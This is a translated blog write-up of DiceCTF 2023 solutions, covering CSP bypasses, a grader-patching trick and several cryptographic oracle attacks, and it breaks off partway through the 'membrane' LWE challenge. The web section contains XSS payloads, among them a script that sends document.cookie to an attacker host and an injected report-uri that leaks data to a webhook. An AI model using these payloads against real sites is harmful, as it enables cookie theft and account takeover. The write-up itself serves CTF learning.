DiceCTF 2023 WriteUps

發表於 2023-02-06

分類於 CTF

This article is automatically translated by LLM, so the translation may be inaccurate or incomplete. If you find any mistake, please let me know.
You can find the original article here .

This year I participated in DiceCTF 2023 within TSJ, mainly solving web/crypto/misc challenges. There were a few PQC challenges in crypto, and the difficulty of the web challenges was so high that I doubted my web skills...

Challenges with * in their names indicate that I solved them after the competition.

Web

recursive-csp

<?php
  if (isset($_GET["source"])) highlight_file(__FILE__) && die();

  $name = "world";
  if (isset($_GET["name"]) && is_string($_GET["name"]) && strlen($_GET["name"]) < 128) {
    $name = $_GET["name"];
  }

  $nonce = hash("crc32b", $name);
  header("Content-Security-Policy: default-src 'none'; script-src 'nonce-$nonce' 'unsafe-inline'; base-uri 'none';");
?>
<!DOCTYPE html>
<html>
  <head>
    <title>recursive-csp</title>
  </head>
  <body>
    <h1>Hello, <?php echo $name ?>!</h1>
    <h3>Enter your name:</h3>
    <form method="GET">
      <input type="text" placeholder="name" name="name" />
      <input type="submit" />
    </form>
    <!-- /?source -->
  </body>
</html>

It is known that the CSP nonce is generated using crc32b(payload), but the payload must contain the nonce. A simple (and intended) solution is to brute force it directly, either by brute-forcing or fixing the payload's nonce and then modifying the payload to match the target CRC.

However, I used a more crypto-oriented approach, directly utilizing the linearity of CRC to turn it into solving a GF(2) linear system. The concept is similar to my previous solution for DEF CON CTF Qualifier 2022 - sameold, so I directly modified its script:

from zlib import crc32


def v2b(v):
    v = v[::-1]
    return bytes([int("".join(map(str, v[i : i + 8])), 2) for i in range(0, len(v), 8)])


def b2v(b):
    v = []
    for x in b:
        v.extend(list(map(int, f"{x:08b}")))
    return v[::-1]


def i2v(i, n):
    return list(map(int, f"{i:0{n}b}"))[::-1]


def v2i(v):
    return int("".join(map(str, v[::-1])), 2)


def crcmat(crc, n, m):
    """
    Recover matrix of crc by black box
    crc: crc function, bytes->int
    n: crc output bits
    m: crc input bits

    crc(x) = Ax+C
    x is n bits
    crc(x) is m bits
    A is m by n matrix
    Assuming bits reversed crc
    """
    C = vector(GF(2), i2v(crc(v2b([0] * m)), n))
    right = []
    # left = []
    for i in range(m):
        v = [0] * m
        v[i] = 1
        # left.append(v)
        right.append(vector(i2v(crc(v2b(v)), n)) - C)
    # L = matrix(GF(2), left).T
    R = matrix(GF(2), right).T
    # A = R * L.inverse()
    # Note: L is identity matrix
    A = R
    return A, C


def find_append(crc, nb, msg, target):
    A, C = crcmat(crc, nb * 8, (len(msg) + nb) * 8)
    CC = A * vector(b2v(msg + b"\x00" * nb)) + C
    t = vector(i2v(target, nb * 8))
    sol = A[:, : nb * 8].solve_right(t - CC)
    assert crc(msg + v2b(sol)) == target
    return v2b(sol)


if __name__ == "__main__":
    # matrix recover test
    A, C = crcmat(crc32, 32, 128)
    msg = bytearray(b"x" * (128 // 8))
    msg[-8:] = b"pekomiko"
    x = v2i(A * vector(b2v(msg)) + C)
    assert x == crc32(msg)

    # find crc(x) == x for 32 bits x
    # A*x+C=x
    # (A-I)*x=-C
    A, C = crcmat(crc32, 32, 32)
    x = v2b((A - matrix.identity(32)).solve_right(-C))
    assert v2i(b2v(x)) == crc32(x)

    payload = b'<script nonce="00000000" src="https://webhook.site/37041121-8d88-4867-b9b7-eea88a0876f8"></script>'
    ap = find_append(crc32, 4, payload, 0)
    assert crc32(payload + ap) == 0

    from urllib.parse import quote

    print(f"https://recursive-csp.mc.ax/?name={quote(payload + ap)}")
    # dice{h0pe_that_d1dnt_take_too_l0ng}

Additionally, @remy_o also had a similar solution but didn't directly build the matrix and was more efficient:

from zlib import crc32

script = """<script nonce="ffffffff">document.location="http://IP:PORT/"+document.cookie;</script>"""

for seeds in range(1000):
    h = str(seeds)
    payload = script + h
    c = crc32(payload.encode())
    cb = (0xffffffff ^ c).to_bytes(4, "little")
    if all(b < 128 and chr(b).isalnum() for b in cb):
        blob = payload.encode() + cb
        print(len(blob), repr(blob))
        print(hex(crc32(blob)))

The loop part ensures that the appended content is printable, but this challenge doesn't actually require that, so it can be ignored. The core part is interesting in that crc32(x || ~crc32(x))=0xffffffff.

We know that CRC is related to polynomial operations in GF(2): $R(x) \equiv M(x) x^n \pmod{G(x)}$ , but real-world CRC implementations are much more complex, involving bit reversals or bitwise not operations on the message, among other things. The best summary I've seen is this writeup, which consolidates CRC as:

\operatorname{CRC}(M) \equiv R \equiv (Mx^n+Y+(Y+I)x^b) \pmod{G}

$M$ is the message
$Y$ is XOR-out, a constant, e.g., for crc32 it is 0xffffffff
$I$ is the initial value of CRC, defaulting to 0 for crc32
$n$ is the length of $G$ , e.g., 32 for crc32
$b$ is the length of $M$ , i.e., m.bit_length()

So crc32(x || ~crc32(x)) is equivalent to calculating:

\begin{aligned} \operatorname{CRC}(Mx^n+R+Y) &\equiv ((Mx^n+R+Y)x^n+Y+(Y+I)x^{(b+n)}) \\ &\equiv (((Y+I)x^b)x^n+Y+(Y+I)x^{(b+n)}) \\ &\equiv ((Y+I)x^{(b+n)}+(Y+I)x^{(b+n)}+Y) \\ &\equiv Y \pmod{G} \end{aligned}

So the final result is $Y$ , which is 0xffffffff, leading to the conclusion above.

scorescope

It is a course platform where you can upload Python scripts to solve some problems (online judge), but the later problems involve integer factorization and SHA256 preimage, so they can't be solved normally.

By raising an Exception in the test function, you can print things, for example, the following can dump all modules:

import sys

def add(a, b):
    raise Exception(repr(sys.modules.keys()))

Then you can find some interesting modules inside:

[..., 'test_1_add', 'test_2_longest', 'test_3_common', 'test_4_favorite', 'test_5_factor', 'test_6_preimage', 'test_7_magic', 'test_8_hidden', 'submission']

By using some dir commands, you can see that each module has a TestXXX class, and the class has methods like test_xxx that import functions from submission (our script) for testing. Using dis.dis, you can see that it uses some assert functions like unit tests, so you can patch them to noop to pass:

import sys


# without this test_add_mixed fails...
def add(a, b):
    return a + b


def noop(*args, **kwargs):
    return


for k in sys.modules:
    if k.startswith("test"):
        mod = sys.modules[k]
        for cname in dir(mod):
            if cname.startswith("Test"):
                cls = getattr(mod, cname)
                for fname in dir(cls):
                    if fname.startswith("test"):
                        setattr(cls, fname, noop)

However, when I solved this challenge, it wasn't that simple because I initially thought I needed to get RCE, so I tried various pyjail techniques to bypass it. Later, I found out that there was a util module that applied seccomp to block open, so I gave up on that route.

*codebox

I couldn't solve this challenge during the competition QQ

box.html:

<!DOCTYPE html>
<html lang="en">
<head>
  <title>codebox</title>
  <meta charset="UTF-8" />
  <meta name="viewport" content="width=device-width,initial-scale=1" />
  <style>
    * {
        margin: 0;
        font-family: monospace;
        line-height: 1.5em;
    }
    
    div {
        margin: auto;
        width: 80%;
        padding: 20px;
    }
    
    textarea {
        width: 100%;
        height: 200px;
        max-width: 500px;
    }

    iframe {
        border: 1px solid lightgray;
    }
  </style>
</head>
<body>
  <div id="content">
    <h1>codebox</h1>
    <p>Codebox lets you test your own HTML in a sandbox!</p>
    <br>
    <form action="/" method="GET">
        <textarea name="code" id="code"></textarea>
        <br><br>
        <button>Create</button>
    </form>
    <br>
    <br>
  </div>
  <div id="flag"></div>
</body>
<script>
    const code = new URL(window.location.href).searchParams.get('code');
    if (code) {
        const frame = document.createElement('iframe');
        frame.srcdoc = code;
        frame.sandbox = '';
        frame.width = '100%';
        document.getElementById('content').appendChild(frame);
        document.getElementById('code').value = code; 
    }

    const flag = localStorage.getItem('flag') ?? "flag{test_flag}";
    document.getElementById('flag').innerHTML = `<h1>${flag}</h1>`;
  </script>
</html>

web.js:

const fastify = require('fastify')();
const HTMLParser = require('node-html-parser');

const box = require('fs').readFileSync('box.html', 'utf-8');

fastify.get('/', (req, res) => {
    const code = req.query.code;
    const images = [];

    if (code) {
        const parsed = HTMLParser.parse(code);
        for (let img of parsed.getElementsByTagName('img')) {
            let src = img.getAttribute('src');
            if (src) {
                images.push(src);
            }
        }
    }

    const csp = [
        "default-src 'none'",
        "style-src 'unsafe-inline'",
        "script-src 'unsafe-inline'",
    ];

    if (images.length) {
        csp.push(`img-src ${images.join(' ')}`);
    }

    res.header('Content-Security-Policy', csp.join('; '));

    res.type('text/html');
    return res.send(box);
});

fastify.listen({ host: '0.0.0.0', port: 8080 });

In short, your HTML will be placed in an iframe sandbox, and the img src will be placed in the CSP header, so you can inject some things into it.

The key to solving this challenge is actually similar to the Nim Notes challenge I created before, but I couldn't see that I needed to use trusted types...

<img src="; report-uri https://webhook.site/37041121-8d88-4867-b9b7-eea88a0876f8; require-trusted-types-for 'script'">

This way, any assignment to innerHTML needs to be TrustedHTML, and violations will be reported to the specified report-uri.

However, the assignment to srcdoc will also trigger a violation, so when passing the query parameter, it should be like ?code=&code=payload, so searchParams will only take the first one, but node.js will treat it as an array, and the HTML parser will convert it to a string, so it doesn't matter.

https://codebox.mc.ax/?code=&code=%3Cimg+src%3D%22%3B+report-uri+https%3A%2F%2Fwebhook.site%2F37041121-8d88-4867-b9b7-eea88a0876f8%3B+require-trusted-types-for+%27script%27%22%3E

Flag: dice{i_als0_wr1te_csp_bypasses}

Crypto

Provably Secure

This challenge has two RSA public keys $pk_0, pk_1$ and an unknown bit $i$ (m_bit). The encryption oracle requires two messages $m_0, m_1$ , and it returns $E(pk_0, pk_1, m_i)$ and adds it to the decryption oracle's blacklist.

Where

E(pk_0, pk_1, m)=\operatorname{RSA-OAEP}(r, pk_0) || \operatorname{RSA-OAEP}(r \oplus m, pk_1)

And decryption is

D(sk_0, sk_1, c)=\operatorname{RSA-OAEP}^{-1}(c_{firsthalf}, sk_0) \oplus \operatorname{RSA-OAEP}^{-1}(c_{secondhalf}, sk_1)

However, this challenge has an unintended solution. By comparing it with the second challenge, it can be seen that the decryption oracle's check is broken:

85c85
<                 if in_ct in seen_ct:
---
>                 if in_ct.hex() in seen_ct:

So you can directly send the ciphertext back to decrypt and know m_bit.

from pwn import *
from tqdm import tqdm

m0 = b"a" * 16
m1 = b"b" * 16

# io = process(["python", "server.py"])
io = remote("mc.ax", 31493)
for _ in tqdm(range(1, 129)):
    io.sendlineafter(b"Action: ", b"1")
    io.sendlineafter(b": ", m0.hex().encode())
    io.sendlineafter(b": ", m1.hex().encode())
    ct = io.recvline().strip()

    io.sendlineafter(b"Action: ", b"2")
    io.sendlineafter(b": ", ct)
    res = bytes.fromhex(io.recvlineS().strip())
    m_bit = 0 if res == m0 else 1

    io.sendlineafter(b"Action: ", b"0")
    io.sendlineafter(b": ", str(m_bit).encode())
io.interactive()
# dice{yeah_I_lost_like_10_points_on_that_proof_lmao}

Provably Secure 2

This challenge is basically the same as the previous one, but this time the decryption oracle correctly checks the blacklist, so you can't send it back directly.

My approach is to use the encryption oracle twice:

$(0, 0) \rightarrow (E_0(r_0), E_1(r_0))$
$(m_0, m_1) \rightarrow (E_0(r_1), E_1(r_1 \oplus m_i))$

Then use the decryption oracle twice:

$(E_0(r_0), E_1(r_1 \oplus m_i)) \rightarrow r_0 \oplus r_1 \oplus m_i$
$(E_0(r_1), E_1(r_0)) \rightarrow r_1 \oplus r_0$

So by XORing the two, you can get $m_i$ , and thus $i$ (m_bit).

from pwn import *
from tqdm import tqdm
from Crypto.Util.strxor import strxor

zero = b"\x00" * 16
m0 = b"a" * 16
m1 = b"b" * 16

# context.log_level = "debug"

# io = process(["python", "server.py"])
io = remote("mc.ax", 31497)
for _ in tqdm(range(1, 129)):
    io.sendlineafter(b"Action: ", b"1")
    io.sendlineafter(b": ", zero.hex().encode())
    io.sendlineafter(b": ", zero.hex().encode())
    ct0 = io.recvline().strip()  # [r0, r0 xor 0]
    io.sendlineafter(b"Action: ", b"1")
    io.sendlineafter(b": ", m0.hex().encode())
    io.sendlineafter(b": ", m1.hex().encode())
    ct1 = io.recvline().strip()  # [r1, r1 xor m]

    new_ct = ct0[:512] + ct1[512:]
    io.sendlineafter(b"Action: ", b"2")
    io.sendlineafter(b": ", new_ct)
    res0 = bytes.fromhex(io.recvlineS().strip())  # r0 xor r1 xor m
    new_ct = ct1[:512] + ct0[512:]
    io.sendlineafter(b"Action: ", b"2")
    io.sendlineafter(b": ", new_ct)
    res1 = bytes.fromhex(io.recvlineS().strip())  # r0 xor r1

    res = strxor(res0, res1)  # m
    m_bit = 0 if res == m0 else 1
    io.sendlineafter(b"Action: ", b"0")
    io.sendlineafter(b": ", str(m_bit).encode())
io.interactive()
# dice{my_professor_would_not_be_proud_of_me}

rSabin

This challenge was initially solved by Kuruwa, but since there was no script, I solved it again myself

import asyncio
import concurrent.futures
import traceback
from Crypto.Util.number import getPrime, bytes_to_long
from Crypto.Cipher import PKCS1_OAEP
from Crypto.PublicKey import RSA

from nth_root import nth_root, chinese_remainder # not provided

class Server:
    def __init__(self):
        e = 17
        nbits = 512

        p = getPrime(nbits)
        q = getPrime(nbits)
        N = p * q

        self.p = p
        self.q = q
        self.N = N
        self.e = e

    def encrypt(self, m):
        assert 0 <= m < self.N
        c = pow(m, self.e, self.N)
        return int(c)

    def decrypt(self, c):
        assert 0 <= c < self.N
        mp = int(nth_root(c, self.p, self.e))
        mq = int(nth_root(c, self.q, self.e))
        m = chinese_remainder([mp, mq], [self.p, self.q])
        return int(m)

    def encrypt_flag(self):
        with open("flag.txt", "rb") as f:
            flag = f.read()

        key = RSA.construct((self.N, self.e))
        cipher = PKCS1_OAEP.new(key)
        c = cipher.encrypt(flag)
        c = bytes_to_long(c)
        return c


async def handle(a):
    S = await a.run(Server)
    while True:
        cmd = (await a.input("Enter your option (EDF) > ")).strip()
        if cmd == "E":
            m = int(await a.input("Enter your integer to encrypt > "))
            c = await a.run(S.encrypt, m)
            await a.print(str(c) + '\n')
        elif cmd == "D":
            c = int(await a.input("Enter your integer to decrypt > "))
            m = await a.run(S.decrypt, c)
            await a.print(str(m) + '\n')
        elif cmd == "F":
            c = await a.run(S.encrypt_flag)
            await a.print(str(c) + '\n')
            return

class Handler:
    def __init__(self, reader, writer, pool):
        self.reader = reader
        self.writer = writer
        self.pool = pool
    async def print(self, data):
        self.writer.write(str(data).encode())
        await self.writer.drain()
    async def input(self, prompt):
        await self.print(prompt)
        return (await self.reader.readline()).decode()
    async def run(self, func, *args):
        loop = asyncio.get_running_loop()
        return await loop.run_in_executor(self.pool, func, *args)
    async def __aenter__(self):
        return self
    async def __aexit__(self, exc_t, exc_v, exc_tb):
        self.writer.close()
        await self.writer.wait_closed()
        if exc_v is not None and not isinstance(exc_v, asyncio.TimeoutError):
            traceback.print_exception(exc_v)
        return True


async def main():
    with concurrent.futures.ProcessPoolExecutor() as pool:
        async def callback(reader, writer):
            async with Handler(reader, writer, pool) as a:
                await asyncio.wait_for(handle(a), 20)
        server = await asyncio.start_server(callback, '0.0.0.0', 5000)
        print('listening')
        async with server:
            await server.serve_forever()


if __name__ == "__main__":
    asyncio.run(main())

This challenge has unlimited RSA encrypt/decrypt oracles, with $e=17$ , but after getting the flag ciphertext, the connection will be disconnected, so you have to find a way to use the oracle to factor the public key.

The key is that the decryption oracle uses nth_root combined with CRT, where nth_root is likely the Sage implementation.

Initially, I had no idea, but upon closer inspection, I noticed it didn't check for $\gcd(e,p-1) \neq 1$ or $\gcd(e,q-1) \neq 1$ , because in this case, $d \equiv e^{-1} \pmod{\varphi(n)}$ doesn't exist, so taking the nth_root in $\mathbb{F}_p$ would have some special behavior.

We know that the order of $\mathbb{Z}_p^*$ is $p-1$ , and if $e|p-1$ , it means

x^e \equiv y \pmod{p}

has $e$ different roots, which can be found using $d' \equiv e^{-1} \pmod{(p-1)/e}$ and roots of unity.

The exploitable part here is that the roots are not unique, so if $\gcd(e,p-1)=e, \gcd(e,q-1)=1$ , for $x^e=2^{17}$ in $\mathbf{F}_p$ , there are 17 solutions, but in $\mathbf{F}_q$ , there is only one solution, which is $x=2$ .

If the $x$ found in $\mathbb{F}_p$ is not $2$ , then:

\begin{aligned} x &\not\equiv 2 \pmod{p} \\ x &\equiv 2 \pmod{q} \end{aligned}

The final $x$ obtained by CRT will satisfy $\gcd(x-2,n)=q$ , thus factoring RSA.

When decrypting, refer to last year's nth_root method to find all possible plaintexts, then use RSA OAEP unpad to see if it's the flag.

from sage.all import *
from pwn import remote
from tqdm import tqdm
from Crypto.Util.number import *
from Crypto.Cipher import PKCS1_OAEP
from Crypto.PublicKey import RSA

# io = remote("localhost", 5000)
io = remote("mc.ax", 31370)


def enc(m):
    io.sendlineafter(b"> ", b"E")
    io.sendlineafter(b"> ", str(m).encode())
    return int(io.recvline().strip())


def dec(c):
    io.sendlineafter(b"> ", b"D")
    io.sendlineafter(b"> ", str(c).encode())
    return int(io.recvline().strip())


def flag():
    io.sendlineafter(b"> ", b"F")
    return int(io.recvline().strip())


n = reduce(gcd, [x**17 - enc(x) for x in range(2**512, 2**512 + 5)])
print(n)
# hoping that (p-1)%17==0 so it will be necessary to calculate the primitive root of p before calculating x as x^e=2^17 (mod n)
# then there will be 17 x such that x^e=2^17 (mod p), but only 1 x such that x^e=2^17 (mod q)
# therefore x = 2 (mod q) but x = ? (mod p), then we can get q by gcd(x-2, n)
x = dec(2**17)
p = gcd(x - 2, n)
if p == 1 or p == n:
    exit(1)
q = n // p
c = flag()


def oaep_unpad(x, n):
    while True:
        key = RSA.generate(1024)
        if key.n > n:
            break
    c = pow(x, key.e, key.n)
    c = long_to_bytes(c, (key.n.bit_length() + 7) // 8)
    cipher = PKCS1_OAEP.new(key)
    return cipher.decrypt(c)


for xp in GF(p)(c).nth_root(17, all=True):
    for xq in GF(q)(c).nth_root(17, all=True):
        m = int(crt([ZZ(xp), ZZ(xq)], [p, q]))
        try:
            flag = oaep_unpad(m, n)
            print(flag)
        except:
            pass
# while true; do python solve.py; ret=$?; [ $ret -eq 0 ] && break; done
# dice{rabin-williams-cryptosystem-in-disguise-3038e78caa07}

The flag actually refers to the Rabin cryptosystem chosen ciphertext attack.

BBBB

This challenge is modified from SECCON CTF 2022 - BBB, mainly changing the RNG part from QCG to LCG, and the encryption part is slightly different.

First, the goal is still clear: to get five $e=11$ ciphertexts. This part can be solved using my original method for solving $f^5(11)=11$ to find the LCG $a$ parameter. Then, brute force a bit until $f(11),f^2(11),f^3(11),f^4(11)$ are all even, and you can get five $e=11$ ciphertexts.

Next, during encryption, there are five sets of equations $(m+r_i)^e-c_i \equiv 0 \pmod{n_i}$ , directly CRT, and since $m$ is not large, you can use Coppersmith. This is actually a generalized Hastad broadcast attack. I encountered a similar challenge before in CakeCTF 2021.

from sage.all import *
from Crypto.Util.number import bytes_to_long, getPrime
from random import randint
from math import gcd
from os import urandom
from pwn import process, remote, context

context.log_level = "debug"

# io = process(["python", "bbbb.py"])
io = remote("mc.ax", 31340)
io.recvuntil(b"b=")
b = int(io.recvline().strip().decode())
io.recvuntil(b"p=")
p = int(io.recvline().strip().decode())

F = Zmod(p)
E = 11
P = F["x,a"]
x, a = P.gens()
f = a * x + b
g = f(f(f(f(f, a), a), a), a)(E, a) - E
print(g)
aa = g.univariate_polynomial().roots(multiplicities=False)
print(aa)


def check_seeds(seeds):
    return len(seeds) == 5 and all([s % 2 == 0 for s in set(seeds) - {E}])


for a in aa:
    print("=" * 40)
    P = F["x"]
    x = P.gen()
    f = a * x + b
    v = E
    seeds = set()
    for i in range(10):
        print(i, v)
        seeds.add(int(v))
        v = f(v)
    if check_seeds(seeds):
        break
print(f"{a = }")
print(f"{seeds = }")
if not check_seeds(seeds):
    print("bad seeds :(")
    exit(1)


io.sendlineafter(b": ", str(a).encode())
for seed in seeds:
    io.sendlineafter(b": ", str(seed).encode())

ct = []
for _ in range(5):
    io.recvuntil(b"Public Key:")
    io.recvuntil(b"n=")
    n = int(io.recvline().strip())
    io.recvuntil(b"e=")
    e = int(io.recvline().strip())
    io.recvuntil(b"r=")
    r = io.recvlineS().strip()[1:-1]
    io.recvuntil(b"Cipher Text: ")
    c = int(io.recvline().strip())
    if e != E:
        print("bad e :(", _)
        exit(1)
    ct.append((n, e, r, c))

P = ZZ["x"]
x = P.gen()
ff = []
nn = []
for n, e, r, c in ct:
    rn = int(r, 16)
    f = (x * 2**128 + rn) ** e - c
    ff.append(f)
    nn.append(ZZ(n))
f = crt(ff, nn)
M = product(nn)
f = f.change_ring(Zmod(M)).monic()
print(f)
print(M)
x = int(f.small_roots(epsilon=0.05))
print(long_to_bytes(x))
# while true; do python solve.py; ret=$?; [ $ret -eq 0 ] && break; done
# dice{r3s0rt_t0_LCG_4ft3r_f41l1ng_t0_m4k3_ch4ll}

Additionally, as @remy_o mentioned, if $a=-1$ , the LCG will become $x,b-x,x,b-x,\cdots$ , so sending $11, 13, 15, b-13, b-11$ as seeds has a high chance of getting two $e=11$ ciphertexts, two $e=13$ ciphertexts, and one $e=15$ ciphertext.

The reason this works is that the given bound is actually very loose, with the flag + padding being only about 53 bytes, while each $n$ is 2048 bits.

seaside

#!/usr/local/bin/python

import ctypes
import os

from Crypto.Util.strxor import strxor
from Crypto.Hash import SHAKE128

PRIVATE_KEY_SIZE = 74
PUBLIC_KEY_SIZE = 64

# make libcsidh.so
libcsidh = ctypes.CDLL('./libcsidh.so')

def stream(buf, ss):
	pad = SHAKE128.new(bytes(ss)).read(len(buf))
	return strxor(buf, pad)

def keygen():
	priv = ctypes.create_string_buffer(PRIVATE_KEY_SIZE)
	pub = ctypes.create_string_buffer(PUBLIC_KEY_SIZE)
	libcsidh.csidh_private(priv)
	libcsidh.csidh(pub, libcsidh.base, priv)
	return priv, pub

def apply_iso(start, iso):
	end = ctypes.create_string_buffer(PUBLIC_KEY_SIZE)
	libcsidh.csidh(end, start, iso)
	return end

def invert(priv):
	exponents = [-e % 256 for e in bytes(priv)]
	return ctypes.create_string_buffer(bytes(exponents))

class Alice:
	def __init__(self, msg0, msg1):
		assert type(msg0) == bytes
		assert type(msg1) == bytes
		assert len(msg0) == len(msg1)
		self.msg0 = msg0
		self.msg1 = msg1
		self.priv0, self.pub0 = keygen()
		self.priv1, self.pub1 = keygen()

	def publish(self):
		return self.pub0, self.pub1

	def encrypt(self, mask):
		ss0 = apply_iso(mask, invert(self.priv0))
		ss1 = apply_iso(mask, invert(self.priv1))
		enc0 = stream(self.msg0, ss0)
		enc1 = stream(self.msg1, ss1)
		return enc0, enc1

class Bob:
	def __init__(self, bit):
		assert bit in (0, 1)
		self.bit = bit
		self.iso, self.ss = keygen()

	def query(self, pubs):
		pub = pubs[self.bit]
		mask = apply_iso(pub, self.iso)
		return mask

	def decrypt(self, encs):
		enc = encs[self.bit]
		msg = stream(enc, self.ss)
		return msg

if __name__ == '__main__':
	with open('flag.txt', 'rb') as f:
		flag = f.read().strip()

	msg0 = os.urandom(len(flag))
	msg1 = strxor(msg0, flag)

	alice = Alice(msg0, msg1)
	pub0, pub1 = alice.publish()
	print(f'pub0: {bytes(pub0).hex()}')
	print(f'pub1: {bytes(pub1).hex()}')

	'''
	bob = Bob(bit)
	mask = bob.query((pub0, pub1))
	'''

	mask_hex = input('mask: ')
	mask = ctypes.create_string_buffer(bytes.fromhex(mask_hex), PUBLIC_KEY_SIZE)
	enc0, enc1 = alice.encrypt(mask)
	print(f'enc0: {enc0.hex()}')
	print(f'enc1: {enc1.hex()}')

	'''
	msg = bob.decrypt((enc0, enc1))
	'''

This challenge is an oblivious transfer based on CSIDH.

First, Alice generates two private keys (isogenies) $[a_0], [a_1]$ , then obtains two public keys (curves) $[a_0] E_0, [a_1] E_0$ .

Next, Bob should choose a private key (isogeny) $[b]$ and select which message $i$ to receive, then calculate the mask $[b][a_i]E_0$ .

Finally, Alice receives the mask and applies $[a_0]^{-1}, [a_1]^{-1}$ to the mask to obtain two shared secrets: $[a_0]^{-1}[b][a_i]E_0, [a_1]^{-1}[b][a_i]E_0$ . She then uses these two shared secrets to encrypt two messages and returns them.

Assuming $i=0$ , according to the commutative property (the C in CSIDH), the first shared secret is $[a_0]^{-1}[b][a_i]E_0=[b]E_0$ , which is Bob's public key, so he can use it to decrypt the first ciphertext.

However, to obtain both messages, different methods are needed.

My initial idea was to set the mask as $[a_1][a_0]E_0$ , so the final shared secret would be Alice's two public keys, but with only $[a_0]E_0, [a_1]E_0$ , we can't calculate $[a_1][a_0]E_0$ .

P.S. Since CSIDH and SIDH are very different, the Castryck-Decru Key Recovery Attack on SIDH can't be used.

Later, my second idea was to set the mask as $E_0$ (base curve), so the shared secret would be $[a_0]^{-1}E_0, [a_1]^{-1}E_0$ , which intuitively would have some connection with Alice's public keys $[a_0]E_0, [a_1]E_0$ .

Referring to this slide, it is known that the private key consists of exponents of small primes, and the public key is the parameter $A$ on the curve $E_A/\mathbb{F}_p: y^2 = x^3 + Ax^2 + x$ .

At the same time, in general ECC, we know that $(xG)_y=-(-xG)_y$ , so it is reasonable to guess that there might be a similar situation here. First, we can find the CSIDH-512 parameters $p$ from csidh-latest.tar.xz, then directly decode the two public keys $[x]E_0, [x]^{-x}E_0$ using little endian, and find that they are additive inverses in $\mathbb{F}_p$ .

So, set the mask as $E_0$ , and use the inverse of Alice's public keys to decrypt both messages and get the flag.

from pwn import *
from Crypto.Util.strxor import strxor
from Crypto.Hash import SHAKE128


PRIVATE_KEY_SIZE = 74
PUBLIC_KEY_SIZE = 64
p = 5326738796327623094747867617954605554069371494832722337612446642054009560026576537626892113026381253624626941643949444792662881241621373288942880288065659


def invert_pub(pub):
    x = int.from_bytes(bytes(pub), "little")
    return (p - x).to_bytes(PUBLIC_KEY_SIZE, "little")


def stream(buf, ss):
    pad = SHAKE128.new(bytes(ss)).read(len(buf))
    return strxor(buf, pad)

"""
Explanation of the protocol:
We have
base ---------> pub0
|      priv0
|
|priv1
|
v
pub1

Then we are supposed to find a secret isogeny to map either pub0 or pub1 to mask, take pub1 for example
base ---------> pub0
|      priv0
|
|priv1
|
v          iso
pub1 -----------------> mask

Then Alice when take apply priv0^-1 and priv1^-1 to iso to get two shared secrets, then encrypt the messages respectively.



Attack:
If we take mask=base, then the shared secret will be apply_iso(base, priv0^-1) and apply_iso(base, priv1^-1), but CSIDH isn't broken (like SIDH) so we can't get the private keys.
Fortunately, I found that public keys (the A component of y^2=x^3+Ax^2+x) satisfy (apply_iso(base, priv)+apply_iso(base, priv^-1))=0 (mod p) for some reason.
So we can easily compute the final shared secret by computing additive inverse.
"""

# io = process(["python", "seaside.py"])
io = remote("mc.ax", 31336)
io.recvuntil(b"pub0: ")
pub0 = bytes.fromhex(io.recvline().decode().strip())
io.recvuntil(b"pub1: ")
pub1 = bytes.fromhex(io.recvline().decode().strip())

# base curve
io.sendlineafter(b"mask: ", (b"\x00" * PUBLIC_KEY_SIZE).hex().encode())

io.recvuntil(b"enc0: ")
enc0 = bytes.fromhex(io.recvline().decode().strip())
io.recvuntil(b"enc1: ")
enc1 = bytes.fromhex(io.recvline().decode().strip())

msg0 = stream(enc0, invert_pub(pub0))
msg1 = stream(enc1, invert_pub(pub1))
print(strxor(msg0, msg1))
# dice{b0p_it_pul1_1t_6op_it_pull_1t_pu1l_1t_b0p_it}

Later, after reading the author's writeup, I learned that $[a]^{-1}E_0$ is the quadratic twist of $[a]E_0$ . Quadratic means that for a curve $E/K: y^2=f(x)$ and a non-square $d \in K$ , there can be $dy^2=f(x)$ . So, according to the formula on the page, with $d=-1$ , $A$ is reversed.

However, Sage's quadratic_twist calculation method seems different from what's written on the wiki, so you need to follow it with montgomery_model to get the desired curve format. Additionally, in finite fields with $p>3$ , the specific value of $d$ for the quadratic twist doesn't matter. (sage doc)

So, using Sage, the invert_pub can be rewritten as:

p = 5326738796327623094747867617954605554069371494832722337612446642054009560026576537626892113026381253624626941643949444792662881241621373288942880288065659
F = GF(p)


def invert_pub(pub):
    A = int.from_bytes(bytes(pub), "little")
    E = EllipticCurve(F, [0, A, 0, 1, 0])
    Ei = E.quadratic_twist().montgomery_model()
    A2 = int(Ei.a2())
    return A2.to_bytes(PUBLIC_KEY_SIZE, "little")

However, in terms of performance, this is much worse than my original method XD.

membrane

import numpy as np

# dimension
n = 512
# number of public key samples
m = n + 100
# plaintext modulus
p = 257
# ciphertext modulus
q = 1048583

V = VectorSpace(GF(q), n)
S = V.random_element()

def encrypt(m):
    A = V.random_element()
    e = randint(-10, 10)
    b = A * S + m + p * e
    return A, b

def decrypt(A, b):
    A = V(A)
    m = ZZ(b - A * S)
    if m > q//2:
        m -= q
    m = ZZ(m % p)
    return m

def public_key_encrypt(public_key_samples_A, public_key_samples_b, msg):
    c = vector(ZZ, [randint(-1,1) for i in range(m)])
    e = randint(-10, 10)

    A = c * public_key_samples_A
    b = c * public_key_samples_b + msg + p * e
    
    return A,b


def keygen():
    public_key_samples_A = []
    public_key_samples_b = []
    for i in range(m):
        A, b = encrypt(0)
        public_key_samples_A.append(A)
        public_key_samples_b.append(b)
        
    public_key_samples_A = Matrix(GF(q), public_key_samples_A)
    public_key_samples_b = vector(GF(q), public_key_samples_b)

    return public_key_samples_A, public_key_samples_b


with open("flag.txt", "rb") as f:
    flag = f.read()


pk_A, pk_b = keygen()

encrypt_A, encrypt_b = [], []
for msg in flag:
    A, b = public_key_encrypt(pk_A, pk_b, msg)
    encrypt_A.append(A)
    encrypt_b.append(b)


pk_A = np.array(pk_A, dtype=np.int64)
pk_b = np.array(pk_b, dtype=np.int64)
encrypt_A = np.array(encrypt_A, dtype=np.int64)
encrypt_b = np.array(encrypt_b, dtype=np.int64)
np.savez_compressed("data.npz", pk_A=pk_A, pk_b=pk_b, encrypt_A=encrypt_A, encrypt_b=encrypt_b)

This challenge is an LWE problem with parameters $q=1048583,p=257,n=512,m=n+100=612$ .

The private key is $S \in \mathbb{F}_q^n$ , and the public key is $A \in \mathbb{F}_q^{m \times n}$ and $B=AS+E \in \mathbb{F}_q^m$ , where the error $E \in [-10, 10]^m$ .

The encryption method is to encrypt each byte $m \in [0, 256)$ separately, taking a random vector $c \in [-1,1]^m$ and using $(cA,cB+m+pe)$ as the ciphertext for $m$ , where $e \in [-10, 10]$ .

